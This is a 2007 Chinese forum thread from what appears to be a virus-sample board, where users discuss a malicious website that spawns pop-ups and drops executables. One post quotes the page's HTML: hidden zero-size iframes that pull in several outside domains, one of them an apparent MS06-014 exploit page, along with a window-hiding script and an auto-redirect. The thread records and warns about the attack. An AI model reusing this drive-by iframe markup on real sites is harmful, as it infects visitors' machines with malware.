一个毒网！

显示全部楼层 · 发表于 2007-7-17 20:09:14

http://www.jimmy87.com/bt/test1.htm

一打开弹出21个窗口，试图创建index.dat并且向IE文件夹里面写入iexplorer.exe！

似乎还有ANI~~~~呵呵，轻易不要试，机器要假死一会的！

显示全部楼层 · 发表于 2007-7-17 20:09:42

这个好像有人发过了

[ 本帖最后由 woai_jolin 于 2007-7-17 20:16 编辑 ]

显示全部楼层 · 发表于 2007-7-17 20:11:03

最恨假死了。。。不上了

显示全部楼层 · 发表于 2007-7-17 20:15:41

显示全部楼层 · 发表于 2007-7-17 20:16:47

刚才开着费尔，拦了一堆！
然后关了费尔，让PS上，结果东西都下载到本地了，因为我的IE临时文件夹改了路径，所以~~~~~
现在正在扫描，待会上图，看看这次down了几个毒下来~！

，这么多~~~

[ 本帖最后由 jpzy 于 2007-7-17 20:23 编辑 ]

显示全部楼层 · 发表于 2007-7-17 20:17:15

能劫持到样本的帮忙传上来

显示全部楼层 · 发表于 2007-7-17 20:17:35

发过两三回了

显示全部楼层 · 发表于 2007-7-17 20:18:20

<HTML><HEAD><TITLE>realplayer:</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=JavaScript>
blur();
openid=setTimeout("gotowin()",10);
function gotowin()
{
self.moveTo(0,1000);
self.resizeTo(screen.availWidth,screen.availHeight);
}
</SCRIPT>
<iframe src="http://game.jimmy87.com" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://bt.hslzy.cn" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://wz.jimmy87.com" width="0" height="0" frameborder="0"></iframe>
<SCRIPT language=javascript>

</SCRIPT>
<iframe src="http://dm.hslzy.cn" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://xq.jimmy87.com" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://qq.hslzy.cn" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.haozl.cn" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.jimmy87.com/Ms06014.htm" width="0" height="0" frameborder="0"></iframe>
<META http-equiv=refresh content=3;URL=http://www.jimmy87.com>
<center>
<script src='http://s84.cnzz.com/stat.php?id=310025&web_id=310025&show=pic1' language='JavaScript' charset='gb2312'></script>
<center>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/835957.js"></script>
<noscript><a href="http://www.51.la/?835957" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/835957.asp" style="border:none" /></a></noscript>
</CENTER></BODY></HTML>

显示全部楼层 · 发表于 2007-7-17 20:32:48

这个最近很流行?? 换Theworld了..拦了一个ActiveX,N个弹窗,报了几个ani.就没事了.

显示全部楼层 · 发表于 2007-7-17 20:38:08

哦哦
太厉害了，病毒！

[病毒样本] 一个毒网！

本帖子中包含更多资源